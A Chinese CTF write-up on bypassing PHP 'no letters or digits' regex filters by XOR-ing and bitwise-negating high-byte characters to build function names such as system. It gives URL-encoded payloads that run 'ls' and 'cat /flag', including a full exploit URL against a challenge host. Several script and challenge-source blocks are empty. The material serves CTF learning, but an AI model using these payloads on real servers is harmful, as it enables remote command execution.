前些日子在做Gq师傅一道题目时用到了无字符绕过,发现自己还是不够深入了解,因此今日再来深入学习学习
方法一(异或)
基本原理
两个字符异或能够产生新的字符(本质就是将二进制位进行逐个异或最终得到的二进制转换为10进制再转换为字符得到新的字符)
- 异或是什么
指一种运算方式,其符号是^
1 | 1 ^ 1 = 0 |
异或脚本
1 |
|
运行脚本
借此我们可以构造payload
题目
1 |
|
这里使用正则表达式对我们的可见字符和部分不可见字符。 x00- 0-9A-Za-z 这是指匹配aiisc码 0-
48 的字符加上数字 0-9 、字母 a-z ,还有几个 单引号、双引号、反引号、取反符号、位运算符号、点、逗
号、|、=、aiisc码为127(x7f)的字符 。这里看起来aiisc已经用完($、{}、^仍然可以使用),
其实aiisc码扩展表是0-255的,也就是说 128-255 的aiisc的字符我们仍然能够使用。那么我们使用
128-255的字符来异或出来我们的字符,为了减少运算量我们可以固定一个字符,使用128-255的
字符来异或 xff 也就是aiisc码的字符。我们将上面的脚本改写一下
1 |
|
异或可见结果
1 | %81^%FF=>~ %82^%FF=>} %83^%FF=>| |
- 我们还需要知道的一点是字符串他也是可以异或的,但是他的异或其实是以字符串的对应字符相异或。如下图:
- 因此我们可以通过这样来动态构建函数
1 | eval("${_GET}{'a'}();") |
1 | ${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}()//${_GET}{%ff}() |
- 当然我们可以嵌套来传参,从而Getflag,但是参数要选其他不可见字符
1 | ${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}(${%a0%b8%ba%ab^%ff%ff%ff%ff}{%a0}); |
- 最终payload
1 | http://39.107.126.173:28452/?a=${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff} (${%a0%b8%ba%ab^%ff%ff%ff%ff}{%a0});&%ff=system&%a0=cat%20/flag |
方法二(取反)
基本原理
同样以一道题为例
1 |
|
可以看出这里过滤了
^
,说明异或是不可行的了,但是没过滤~
,那么我们可以考虑用另一种绕过方法——取反绕过我们可以使用取反的方法将可见字符变成不可见字符,再传入参数时候前面加上 ~ 将不可见字符取反为可见字符。最终导致代码执行。(所谓取反就是将字符的二进制按位取反,也就是所谓的反码,再转换为十进制再将十进制当做
aiisc
转换为字符。)例如,我们把
phpinfo
取反
可以发现phpinfo
变成了不可见字符
当我们在前面再加~
看看会发生什么
芜湖,变回来了
- 因此,我们可以借这个来进行动态拼接函数,原理如下
- payload
1 | ?a=(~%8F%97%8F%96%91%99%90)(); |
题目
1 |
|
- 根据上述原理,构造payload
1 | %8C%86%8C%8B%9A%92 =>system取反后的结果 (~%8C%86%8C%8B%9A%92)(); =>构造出system(); %93%8C =>ls取反后的结果 |
1 | ?a=(~%8C%86%8C%8B%9A%92)((~%93%8C)); |
- 当然也可以直接cat /flag
1 | %9C%9E%8B%DF%D0%99%93%9E%98//cat /flag |
- 最终payload
1 | ?a=(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B%DF%D0%99%93%9E%98)); |